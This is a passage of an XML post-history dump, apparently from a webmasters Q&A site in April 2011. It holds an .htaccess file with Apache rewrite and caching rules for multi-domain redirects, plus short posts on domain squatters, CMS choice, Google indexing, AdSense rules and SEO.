public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset ETag&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo1\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo1\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo2\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo2\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo3\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo3\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo8\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo8\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thinking that the above version was overkill, I've also tried to redirect all the requests for domains different than the main on to be redirected to it like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://domain.com [L,R=301]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it also wrong? Because it doesn't work either!&#xD;&#xA;&#xD;&#xA;P.S. Removing the following piece of code didn't solve the issue either, so the problem must be somewhere else: &#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27355" PostHistoryTypeId="24" PostId="12005" RevisionGUID="1b7643a8-4610-45be-8150-6cdc70232fe5" CreationDate="2011-04-11T13:01:37.367" Comment="Proposed by 6746 approved by 1253 edit id of 104" />
  <row Id="27358" PostHistoryTypeId="2" PostId="12016" RevisionGUID="15dddfb8-6e85-4c9d-9404-5f4303194903" CreationDate="2011-04-11T10:19:28.627" UserDisplayName="Dr No" Text="these days I have looking for a domain for my web application, but I've realized that the 99% of them are bought and of these the 9/10 are from domainer speculators.&#xD;&#xA;&#xD;&#xA;&quot;Welcome to the real world&quot; maybe you think, but I'm wondering if there is anything that we can do to &quot;fight&quot; against this situation. " />
  <row Id="27359" PostHistoryTypeId="1" PostId="12016" RevisionGUID="15dddfb8-6e85-4c9d-9404-5f4303194903" CreationDate="2011-04-11T10:19:28.627" UserDisplayName="Dr No" Text="Is it possible fight against domainers?" />
  <row Id="27360" PostHistoryTypeId="3" PostId="12016" RevisionGUID="15dddfb8-6e85-4c9d-9404-5f4303194903" CreationDate="2011-04-11T10:19:28.627" UserDisplayName="Dr No" Text="&lt;untagged&gt;" />
  <row Id="27361" PostHistoryTypeId="17" PostId="12016" RevisionGUID="1fc44518-be27-4146-ae68-2215d4bd8635" CreationDate="2011-04-11T13:34:27.057" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14385/is-it-possible-fight-against-domainers" Text="" />
  <row Id="27362" PostHistoryTypeId="5" PostId="12005" RevisionGUID="f894d6f9-f49f-4e00-a8af-4756364713b2" CreationDate="2011-04-11T13:38:48.507" UserId="6746" Comment="commented an answer" Text="There are a few domains pointing towards the same server, and of course I need them all redirect to only one of them.&#xD;&#xA;&#xD;&#xA;Redirects work, but only for certain URLs.&#xD;&#xA;&#xD;&#xA;What works: http://www.domain.com, http://domain.com, domain.com/index.html, domain.com/index.php, , domain.com/nonExistentDirectory, and if I click in the menu the following URLs are also redirected correctly: domain.com/foo/bar, domain.com/foo/bar.html or .php or other extension.&#xD;&#xA;&#xD;&#xA;What doesn't work: domain.com/existentDirectory, domain.com/foo/bar (if I type the URL in the address bar).&#xD;&#xA;&#xD;&#xA;If anyone will have the time and skill and will to tell me where's the mistake, I'll be deeply grateful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's my .htaccess file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;      ExpiresActive On&#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset ETag&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo1\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo1\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo2\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo2\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo3\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo3\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo8\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo8\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thinking that the above version was overkill, I've also tried to redirect all the requests for domains different than the main on to be redirected to it like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://domain.com [L,R=301]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it also wrong? Because it doesn't work either!&#xD;&#xA;&#xD;&#xA;P.S. @Sodved I've tried that and it doesn't help (I comment here because I can't seem to be able to comment your answer.)&#xD;&#xA;Removing the following piece of code didn't solve the issue either, so the problem must be somewhere else: &#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27363" PostHistoryTypeId="24" PostId="12005" RevisionGUID="f894d6f9-f49f-4e00-a8af-4756364713b2" CreationDate="2011-04-11T13:38:48.507" Comment="Proposed by 6746 approved by 1253 edit id of 105" />
  <row Id="27364" PostHistoryTypeId="10" PostId="10576" RevisionGUID="7ea55745-7f37-4837-bb1f-c810ddb6cfd5" CreationDate="2011-04-11T13:43:59.237" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="27365" PostHistoryTypeId="6" PostId="12016" RevisionGUID="fa2dda5e-0f8f-4b96-8336-86caf5286ed7" CreationDate="2011-04-11T13:55:06.843" UserId="1643" Comment="edited tags" Text="&lt;domain-names&gt;" />
  <row Id="27366" PostHistoryTypeId="2" PostId="12017" RevisionGUID="0cd1de5c-32e1-4d33-a24d-e99e38704993" CreationDate="2011-04-11T13:59:09.337" UserId="6749" Text="I want to suggest me someone who has experienced one cms or component to build website with e-learning&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27367" PostHistoryTypeId="1" PostId="12017" RevisionGUID="0cd1de5c-32e1-4d33-a24d-e99e38704993" CreationDate="2011-04-11T13:59:09.337" UserId="6749" Text="Select cms to the construction site with e-learning" />
  <row Id="27368" PostHistoryTypeId="3" PostId="12017" RevisionGUID="0cd1de5c-32e1-4d33-a24d-e99e38704993" CreationDate="2011-04-11T13:59:09.337" UserId="6749" Text="&lt;php&gt;&lt;cms&gt;&lt;joomla&gt;" />
  <row Id="27370" PostHistoryTypeId="2" PostId="12019" RevisionGUID="68abcda0-6758-4e93-968a-63d63852f956" CreationDate="2011-04-11T14:02:27.043" UserId="6750" Text="When I search on Google for &lt;pollackstorch&gt; I get an invitation to the administrator rahter than the page itself. When I search on Bing or AltaVista I get the page itself.  How can I get Google to return the page itself like the others do?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="27371" PostHistoryTypeId="1" PostId="12019" RevisionGUID="68abcda0-6758-4e93-968a-63d63852f956" CreationDate="2011-04-11T14:02:27.043" UserId="6750" Text="my new google hosted web page" />
  <row Id="27372" PostHistoryTypeId="3" PostId="12019" RevisionGUID="68abcda0-6758-4e93-968a-63d63852f956" CreationDate="2011-04-11T14:02:27.043" UserId="6750" Text="&lt;google&gt;&lt;web-hosting&gt;&lt;web&gt;" />
  <row Id="27373" PostHistoryTypeId="2" PostId="12020" RevisionGUID="14511f30-2986-4cf2-bce6-cc3dbdb88c78" CreationDate="2011-04-11T14:02:49.737" UserId="6746" Text="I don't know if you have to edit the PHP source, I suppose not. &#xD;&#xA;&#xD;&#xA;I'd try do that with:&#xD;&#xA;&#xD;&#xA;&gt; RewriteBase /&#xD;&#xA;&gt;&#xD;&#xA;&gt; Options +FollowSymlinks&#xD;&#xA;&gt;&#xD;&#xA;&gt; RewriteEngine on&#xD;&#xA;&gt; &#xD;&#xA;&gt; RewriteCond %{REQUEST_URI} ^\/news\/view\/1\.html$ &#xD;&#xA;&gt;&#xD;&#xA;&gt; RewriteRule (.*) http://site.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27374" PostHistoryTypeId="2" PostId="12021" RevisionGUID="11a50469-888c-4849-bd7d-48d6a3f776ce" CreationDate="2011-04-11T14:03:00.407" UserId="1643" Text="This question is similar: http://stackoverflow.com/questions/3335336/font-replacement-services-for-helvetica-neue&#xD;&#xA;I did find a site using [Proxima from Typekit][1] for people who didn't have it: http://stevecochrane.com/v3/2007/12/13/helvetica-neue-variants-for-use-on-the-web/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://typekit.com/search?q=proxima" />
  <row Id="27375" PostHistoryTypeId="2" PostId="12022" RevisionGUID="6397e060-9b18-40ee-b795-ba4d101a20b1" CreationDate="2011-04-11T14:11:01.943" UserId="6746" Text="Maybe it hasn't been indexed by Google yet, but it was indexed by Bing and Yahoo. How old is the website? Do you have inbound links to it? Did you submit it to Google?" />
  <row Id="27376" PostHistoryTypeId="2" PostId="12023" RevisionGUID="44c919df-a86f-4adb-802a-3cd8f86d8825" CreationDate="2011-04-11T14:12:33.500" UserId="1643" Text="[Moodle][1] seems to the the CMS that I've heard most about for this sort of thing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://moodle.org" />
  <row Id="27377" PostHistoryTypeId="5" PostId="12022" RevisionGUID="c4b70de9-8f18-4e61-adad-aec5f1020fd7" CreationDate="2011-04-11T14:18:59.310" UserId="6746" Comment="added " Text="Maybe it hasn't been indexed by Google yet, but it was indexed by Bing and Yahoo. How old is the website? Do you have inbound links to it? Did you submit it to Google?&#xD;&#xA;Do a search with Google like that:&#xD;&#xA;&#xD;&#xA;&gt;  site: http://yourDomain.com&#xD;&#xA;&#xD;&#xA;If your site doesn't show up in the results page than it hasn't been indexed. &#xD;&#xA;&#xD;&#xA;If you know to have been indexed and have dissappeared, then it could be a Google penalty for breaking their TOS. &#xD;&#xA;" />
  <row Id="27378" PostHistoryTypeId="5" PostId="12020" RevisionGUID="ee58f5c1-07f7-4cda-9e79-91072c72fd1f" CreationDate="2011-04-11T14:21:06.267" UserId="6746" Comment="corrected code" Text="I don't know if you have to edit the PHP source, I suppose not. &#xD;&#xA;&#xD;&#xA;I'd try do that with:&#xD;&#xA;&#xD;&#xA;&gt; RewriteBase /&#xD;&#xA;&gt;&#xD;&#xA;&gt; Options +FollowSymlinks&#xD;&#xA;&gt;&#xD;&#xA;&gt; RewriteEngine on&#xD;&#xA;&gt; &#xD;&#xA;&gt; RewriteCond %{REQUEST_URI} ^\/news\/view\/1\.html$ &#xD;&#xA;&gt;&#xD;&#xA;&gt; RewriteRule (.*) http://site.com/خبر/عنوان-الخبر [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27379" PostHistoryTypeId="2" PostId="12024" RevisionGUID="ecaa458a-5090-41f4-bb74-ec6823f4b2fb" CreationDate="2011-04-11T14:43:09.623" UserId="6715" Text="You cannot do nothing. As in a free world, anyone have the right to purchase whatever domains they need and not be asked why. So, if you're looking for a domain name for your webapplication, I suggest you to think in something nobody has thought before. &#xD;&#xA;&#xD;&#xA;If the domain name is registered, then your original name is not original. Think of another one :)" />
  <row Id="27380" PostHistoryTypeId="2" PostId="12025" RevisionGUID="83a5bb04-645d-4feb-a344-cde843b118cc" CreationDate="2011-04-11T14:49:03.983" UserId="6463" Text="I have searched online, and can't find a concrete answer, would this be breaching the Adsense rules?&#xD;&#xA;&#xD;&#xA;I have a Wordpress site with a youtube video custom post type. When a query is run, it will display all posts in full view, which is basically a  youtube video, a few lines of text and hopefully an Adsense text ad at the bottom. I was then planning on having a couple ads on the sidebar.&#xD;&#xA;&#xD;&#xA;The problem is i'm not sure if that is breaking the Adsense rules, because the query will show multiple posts (more than 3). However, there isn't a &quot;page&quot; that would have more than 3 on it. Would the query results be a &quot;page&quot; and subject to 3 total ads?" />
  <row Id="27381" PostHistoryTypeId="1" PostId="12025" RevisionGUID="83a5bb04-645d-4feb-a344-cde843b118cc" CreationDate="2011-04-11T14:49:03.983" UserId="6463" Text="Is it ok to have an Adsense ad in each post, showing full view?" />
  <row Id="27382" PostHistoryTypeId="3" PostId="12025" RevisionGUID="83a5bb04-645d-4feb-a344-cde843b118cc" CreationDate="2011-04-11T14:49:03.983" UserId="6463" Text="&lt;google-adsense&gt;" />
  <row Id="27383" PostHistoryTypeId="25" PostId="12019" RevisionGUID="729de323-9255-4a7a-a80f-6f8f981a3b13" CreationDate="2011-04-11T15:09:09.450" Comment="http://twitter.com/#!/StackWebmasters/status/57460181499523072" />
  <row Id="27384" PostHistoryTypeId="2" PostId="12026" RevisionGUID="08f3f4cc-d33d-4178-83d2-87c010ed9a45" CreationDate="2011-04-11T15:12:32.440" UserId="233" Text="A page in this context is a URL. If you show 10 articles at yoursite.com/archive, then that is still 1 page, not 10 pages. If you have 10 adverts on that URL then that would violate Adsense T&amp;Cs.&#xD;&#xA;&#xD;&#xA;You can get round this in a couple of ways. The first is to put the ads only on the full blog post, and just have the video/text as the &quot;intro&quot;. However, if you don't have more content that just the video/text that's a little pointless.&#xD;&#xA;&#xD;&#xA;The second way is to only show ads on the first three posts. Exactly how you do that I cannot answer, but you can ask over at the [Wordpress Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.stackexchange.com/" />
  <row Id="27385" PostHistoryTypeId="5" PostId="11918" RevisionGUID="e8603bbe-97ed-4a2b-908c-ce920c3058fc" CreationDate="2011-04-11T15:17:31.890" UserId="6707" Comment="corrected" Text="I am not really sure whether this is the right forum to put up this. But here it goes.&#xD;&#xA;&#xD;&#xA;I am a Hosting Controller and Automated Hosting Management solution provider for Microsoft Products and Services (Exchange, SharePoint, CRM, Unified Messaging etc). &#xD;&#xA;&#xD;&#xA;Currently I am using Microsoft HMC 4.0 as my main Hosting Solution along with some other solutions for Automated hosting management of Websites, 3rd Party Mail Service Providers, DNS Service Providers and Scripted Solution (Perl, Python, Cold-fusion support). Microsoft will end support for HMC soon enough and i am not really ready to upgrade to [MCCS][1] due to various issues discussed in the very same article. &#xD;&#xA;&#xD;&#xA;I need an All-In-One Hosting Automation and Management solution for Microsoft Services that must essentially support the following services:&#xD;&#xA;&#xD;&#xA; 1. **Long term business Support** (HMC 4.5 is the last version of this solution. Microsoft will support HMC 3.5 through July 12, 2011, and will support HMC 4.x through December 12, 2011.)&#xD;&#xA; 2. **Product Support for Latest Features** (Exchange 2010, Sharepoint 2010, CRM 2011, OCS 2010 (Lync 2010), Blackberry 4 and 5)&#xD;&#xA; 3. **All-IN-One Support for all Products and Services**(Spending on individual solutions is wastage of money for me)&#xD;&#xA; 4. **Legacy Microsoft Support** (Exchange 2007, CRM 4.0, Sharepoint WSS 3.0)&#xD;&#xA; 5. **Self Service sort of Control Panel** (For Clients and Resellers)&#xD;&#xA; 6. **Automatic Billing System** (Must be part of the complete solution)&#xD;&#xA; 7. **Migration of Exchange 2007 Existing Customers to Exchange 2010**.&#xD;&#xA;&#xD;&#xA;  [1]: http://stevemiles70.wordpress.com/2011/02/02/hmc-is-now-mccs-messaging-and-collaboration-cloud-services-hosting-exchange-2010/&#xD;&#xA;&#xD;&#xA;The bullets from 1 to 7 are my business's stringent requirements. Paying for multiple solutions is costly both in terms of management and support as well as licensing. I have been using a separate billing system solution that is not tightly integrated with HMC and i have to face issues from time to time due to it. I need to have a tightly integrated billing system with my hosting management solution. &#xD;&#xA;&#xD;&#xA;I need to provide my clients with a proper central control panel/dashboard/portal from where clients, resellers and myself can manage each product's provisioning and associated services, manage subscriptions and billing. I need long term support for the solution. I also have a strong requirement of upgrading (migrating) some of my existing users/organizations/mailboxes etc of Exchange 2007 to Exchange 2010.&#xD;&#xA;&#xD;&#xA;Please suggest an All-In-One Automated Hosting management solution that meets the above requirements at the moment. I have been looking a couple of hosting panels that support Microsoft products and meet most of the above requirements. But i cant just go for any one of any without seeking help from the community. &#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;Best Regards.&#xD;&#xA;&#xD;&#xA;Steve" />
  <row Id="27386" PostHistoryTypeId="2" PostId="12027" RevisionGUID="ec3427d7-c4b2-40a0-b671-c2c904b676f0" CreationDate="2011-04-11T15:21:51.653" UserId="233" Text="The absolute best solution is to use 301 Redirects to map every one of the old URLs to a new URL. If this isn't possible, berate and plead with the appropriate developers/administrators until they put 301s in place. Don't take &quot;it's not possible&quot; for an answer: it's always possible.&#xD;&#xA;&#xD;&#xA;A second-best solution would be the canonical tag. You would have to keep all the old pages, but add a [canonical link tag][1] in the head section of the HTML. This now works cross-domain.&#xD;&#xA;&#xD;&#xA;A CNAME like you mention is a third option, particularly if all the old content has completely gone. You would point olddomain.com to newdomain.com, then on newdomain.com you can handle all requests for the old domain and show appropriate content. Again, you should add the canonical link tag to point to your own copy of the page on newdomain.com if it exists.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="27387" PostHistoryTypeId="2" PostId="12028" RevisionGUID="74626326-5983-4484-9b1f-b6ee5d31495d" CreationDate="2011-04-11T15:27:55.240" UserId="5727" Text="Is this good for SEO?  I see some sites doing it, I find their results on Google and click on them, do they do work right?&#xD;&#xA;&#xD;&#xA;Given a site search, someone searches for:&#xD;&#xA;&#xD;&#xA;'Peanut Salad'&#xD;&#xA;&#xD;&#xA;The search is processed on the URL&#xD;&#xA;&#xD;&#xA;http://www.domain.com/Search/Peanut-Salad&#xD;&#xA;&#xD;&#xA;The results are returned, nice meta tags/titles generated, etc.  The search can then appear on a list of 'popular searches' on some page on the site.  These can be manually filtered to prevent spammers gaining entries on the list.&#xD;&#xA;&#xD;&#xA;Is this worth doing?  Good to get more visitors from engines?  Is it useful for them?" />
  <row Id="27388" PostHistoryTypeId="1" PostId="12028" RevisionGUID="74626326-5983-4484-9b1f-b6ee5d31495d" CreationDate="2011-04-11T15:27:55.240" UserId="5727" Text="Indexing search results" />
  <row Id="27389" PostHistoryTypeId="3" PostId="12028" RevisionGUID="74626326-5983-4484-9b1f-b6ee5d31495d" CreationDate="2011-04-11T15:27:55.240" UserId="5727" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;site-search&gt;" />
  <row Id="27390" PostHistoryTypeId="2" PostId="12029" RevisionGUID="35640735-1f24-4abb-865d-ae2c7a0a92b9" CreationDate="2011-04-11T15:31:17.093" UserId="1253" Text="I read somewhere on Google's blog (looking for link now) where they encourage webmasters to submit links to common/popular searches on their website. This would indicate to me that Google is encouraging this kind of behavior. &#xD;&#xA;&#xD;&#xA;On the other hand, on their [webmasters guidelines page][1] they say: &#xD;&#xA;&#xD;&#xA;&gt; Use robots.txt to prevent crawling of&#xD;&#xA;&gt; search results pages or other&#xD;&#xA;&gt; auto-generated pages that don't add&#xD;&#xA;&gt; much value for users coming from&#xD;&#xA;&gt; search engines.&#xD;&#xA;&#xD;&#xA;Quite contradictory. So I'm not sure what is best approach to take. Personally I'd submit my most popular searches as this is useful content to your suers and would be to others as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769" />
  <row Id="27391" PostHistoryTypeId="5" PostId="12029" RevisionGUID="4c9ac5f0-38b2-42a1-8013-e13ddfe10da7" CreationDate="2011-04-11T15:38:52.940" UserId="1253" Comment="edited body; deleted 40 characters in body" Text="I read somewhere on Google's blog (looking for link now) where they encourage webmasters to submit links to common/popular searches on their website. This would indicate to me that Google is encouraging this kind of behavior. &#xD;&#xA;&#xD;&#xA;On the other hand, on their [webmasters guidelines page][1] they say: &#xD;&#xA;&#xD;&#xA;&gt; Use robots.txt to prevent crawling of&#xD;&#xA;&gt; search results pages or other&#xD;&#xA;&gt; auto-generated pages that don't add&#xD;&#xA;&gt; much value for users coming from&#xD;&#xA;&gt; search engines.&#xD;&#xA;&#xD;&#xA;Somewhat contradictory. &#xD;&#xA;&#xD;&#xA;Personally I'd submit my most popular searches as this is useful content to your users and would be to others as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769" />
  <row Id="27392" PostHistoryTypeId="2" PostId="12030" RevisionGUID="78936dc8-73c9-4a91-a6ad-f96be3dc4a01" CreationDate="2011-04-11T15:39:43.517" UserId="6746" Text="Yes, there are ways, none of them legal, though. &#xD;&#xA;What you can do is not care so much about it and think of something else, be creative. &#xD;&#xA;Google and Drupal are names that came up due to misspellings and are quite successful. " />
  <row Id="27393" PostHistoryTypeId="2" PostId="12031" RevisionGUID="ec449ef2-9306-4942-9b96-09397a80b7f4" CreationDate="2011-04-11T16:22:42.840" UserId="6746" Text="I've had websites indexed very quickly when promoted using a Twitter account. It is worth mentioning that the account has been created before the website went online, had lots of followers and followed a certain number of Twitter users, was highly customized and tweeted interesting, non-spam content.&#xD;&#xA;This is the fastest method I know, but I don't think it can guarantee indexing in under a day." />
  <row Id="27394" PostHistoryTypeId="2" PostId="12032" RevisionGUID="a96a84cb-2578-4f9b-9b87-eafc2662406d" CreationDate="2011-04-11T16:25:58.013" UserId="4502" Text="There's also &lt;a href=&quot;http://lessnmore.net/&quot;&gt;Lessn&lt;/a&gt;, which is open source(if you care)." />
